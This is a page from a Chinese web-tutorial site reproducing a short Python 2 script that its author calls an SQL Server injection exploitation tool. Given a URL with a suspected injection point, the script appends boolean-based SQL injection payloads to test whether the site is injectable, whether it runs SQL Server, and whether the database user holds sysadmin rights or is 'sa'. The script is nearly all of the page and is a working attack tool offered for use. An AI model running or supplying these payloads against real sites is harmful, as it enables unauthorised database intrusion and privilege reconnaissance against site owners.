html5中文学习网

您的位置: 首页 > 网站及特效实例 > jquery特效 » 正文

Python编写数据库SA用户检测方案_编程语言综合

[ ] 已经帮助:人解决问题

无聊的时候,用Python写的一个小程序,用有注入点的链接,检测当前数据库用户是否为sa,没什么技术含量。Ls3HTML5中文学习网 - HTML5先行者学习网

 # Code by zhaoxiaobu Email: little.bu@hotmail.com   Ls3HTML5中文学习网 - HTML5先行者学习网

  1. #-*- coding: UTF-8 -*-    
  2. from sys import exit   
  3. from urllib import urlopen   
  4. from string import join,strip   
  5. from re import search   
  6.  
  7.  
  8. def is_sqlable():  
  9.     sql1="%20and%201=2" 
  10.     sql2="%20and%201=1" 
  11.     urlfile1=urlopen(url+sql1)  
  12.     urlfile2=urlopen(url+sql2)  
  13.     htmlcodes1=urlfile1.read()  
  14.     htmlcodes2=urlfile2.read()  
  15.     if not search(judge,htmlcodes1) and search(judge,htmlcodes2):  
  16.     print "[信息]恭喜!这个URL是有注入漏洞的!/n" 
  17.     print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."   
  18.     is_SQLServer()  
  19.     else:  
  20.     print "[错误]你确定这个URL能用?换个别的试试吧!/n" 
  21.  
  22. def is_SQLServer():  
  23.     sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  24.     urlfile=urlopen(url+sql)  
  25.     htmlcodes=urlfile.read()  
  26.     if not search(judge,htmlcodes):  
  27.     print "[错误]数据库好像不是SQL Server的!/n" 
  28.     else:  
  29.     print "[信息]确认是SQL Server数据库!/n" 
  30.     print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  31.     is_sysadmin()  
  32.  
  33.  
  34. def is_sysadmin():   
  35.     sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  36.     urlfile = urlopen(url+sql)   
  37.     htmlcodes = urlfile.read()   
  38.     if not search(judge,htmlcodes):   
  39.         print "[错误]当前数据库用户不具有sysadmin权限!/n" 
  40.     else:   
  41.         print "[信息]当前数据库用户具有sysadmin权限!/n" 
  42.         print "[信息]检测当前用户是不是SA,请耐心等待......" 
  43.         is_sa()   
  44.  
  45. def is_sa():   
  46.     sql = "%20and%20'sa'=(select%20System_user)";  
  47.     urlfile = urlopen(url+sql)   
  48.     htmlcodes = urlfile.read()   
  49.     if not search(judge,htmlcodes):   
  50.         print "[错误]当前数据库用户不是SA!/n" 
  51.     else:   
  52.         print "[信息]当前数据库用户是SA!/n" 
  53.  
  54.       
  55.       
  56.  
  57.  
  58. print "/n########################################################################/n"   
  59. print "                       ^o^SQL Server注入利用工具^o^          "   
  60. print "                      Email: little.bu@hotmail.com/n"   
  61. print "========================================================================";   
  62. url = raw_input('[信息]请输入一个可能有注入漏洞的链接!/nURL:')   
  63. if url == '':   
  64.     print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"   
  65.     exit(1)   
  66.  
  67. judge = raw_input("[信息]请提供一个判断字符串./n判断字符串:")   
  68. if judge == '':   
  69.     print "[错误]判断字符串不能为空!"   
  70.     exit(1)   
  71.  
  72. is_sqlable()  
(责任编辑:)
推荐书籍
推荐资讯
关于HTML5先行者 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 人才招聘 - 帮助